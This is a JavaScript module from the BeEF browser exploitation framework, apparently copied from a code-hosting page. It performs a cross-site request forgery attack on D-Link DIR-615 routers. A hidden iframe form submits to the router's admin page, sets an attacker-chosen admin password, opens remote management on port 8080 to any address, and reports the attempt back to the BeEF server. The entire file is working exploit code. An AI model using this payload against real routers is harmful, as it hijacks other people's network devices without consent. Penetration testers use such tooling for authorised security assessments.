Path: blob/master/modules/exploits/router/dlink_dir_615_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var gateway = '<%= @base %>';8var passwd = '<%= @password %>';9var timeout = 15;1011var dir615_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST", "application/x-www-form-urlencoded",12[{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} ,13{'type':'hidden', 'name':'apply', 'value':'Save Settings'},14{'type':'hidden', 'name':'admin_name', 'value':'admin'},15{'type':'hidden', 'name':'admin_password1', 'value':passwd},16{'type':'hidden', 'name':'admin_password2', 'value':passwd},17{'type':'hidden', 'name':'rt_enable', 'value':'on'},18{'type':'hidden', 'name':'rt_enable_h', 'value':'1'},19{'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'},20{'type':'hidden', 'name':'rt_port', 'value':'8080'}21]);2223beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");2425cleanup = function() {26document.body.removeChild(dir615_iframe_<%= @command_id %>);27}28setTimeout("cleanup()", timeout*1000);2930});31323334